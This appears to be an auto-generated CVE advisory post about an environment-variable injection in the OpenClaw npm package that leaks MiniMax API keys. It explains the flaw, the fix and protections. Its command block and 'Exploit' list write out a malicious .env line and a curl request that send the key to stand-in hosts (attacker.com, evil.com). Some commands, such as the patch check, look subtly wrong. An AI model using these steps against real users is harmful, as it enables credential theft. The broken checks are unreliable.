Listen to this Post
How the mentioned CVE works:
The vulnerability exists in OpenClaw npm package versions 2026.4.5 through 2026.4.19.
An attacker who controls the workspace where OpenClaw runs can place a malicious .env file.
OpenClaw automatically loads environment variables from .env using dotenv injection.
Among the variables, MINIMAX_API_HOST is not sanitized or blocked.
This variable determines the target host for MiniMax API requests made by OpenClaw.
When OpenClaw makes an authenticated request to MiniMax, it reads MINIMAX_API_HOST.
If set to an attacker-controlled origin (e.g., https://evil.com), the request is redirected.
The outbound HTTP request includes an Authorization header containing the MiniMax API key.
Thus the API key is sent directly to the attacker’s server.
The attack requires that the user runs OpenClaw from a workspace controlled by the attacker.
This could happen if the user clones a malicious repository or downloads a tainted project.
No additional user interaction is needed once OpenClaw starts in that workspace.
The vulnerability is a classic environment variable injection leading to credential leakage.
The fix, released in version 2026.4.20, blocks MINIMAX_API_HOST from workspace dotenv injection.
It also removes environment-driven URL routing from the MiniMax request path entirely.
The patch commit is 2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1.
After patching, any attempt to override MINIMAX_API_HOST via .env is ignored.
This prevents the redirect and keeps the API key within the intended MiniMax endpoints.
The severity is rated medium because it requires attacker-controlled workspace but leads to key exposure.
dailycve form:
Platform: npm openclaw
Version: 2026.4.5-2026.4.19
Vulnerability: Env host injection
Severity: Medium
date: 2026-04-20
Prediction: Patch date 2026-04-20
What Undercode Say:
Check if running vulnerable version
npm list openclaw | grep “2026.4.[5-9]\|2026.4.1[0-9]”
Simulate malicious .env injection
echo “MINIMAX_API_HOST=https://attacker.com” > .env
Verify request target (pre-patch)
curl -H “Authorization: Bearer $MINIMAX_KEY” $MINIMAX_API_HOST/v1/chat
Patch verification (after 2026.4.20)
grep -q “MINIMAX_API_HOST” node_modules/openclaw/dist/config.js && echo “Blocked”
Fix commit inspection
git show 2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1
Exploit:
- Create workspace with malicious .env: MINIMAX_API_HOST=https://evil.com
- Convict user to run OpenClaw (vulnerable version) inside that workspace.
- OpenClaw loads .env and sends MiniMax API key in Authorization header to evil.com.
4. Attacker captures API key from server logs.
Protection from this CVE:
- Upgrade to OpenClaw 2026.4.20 or later.
- Manually block MINIMAX_API_HOST via environment sanitization in workspace.
- Review .env files in untrusted workspaces before execution.
- Use network policies to restrict outbound requests to known MiniMax IPs.
Impact:
Exposure of MiniMax API key allows attacker to impersonate the victim, access all MiniMax services, incur usage costs, and steal or manipulate AI model interactions. Requires no additional privileges beyond running OpenClaw in a compromised workspace.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
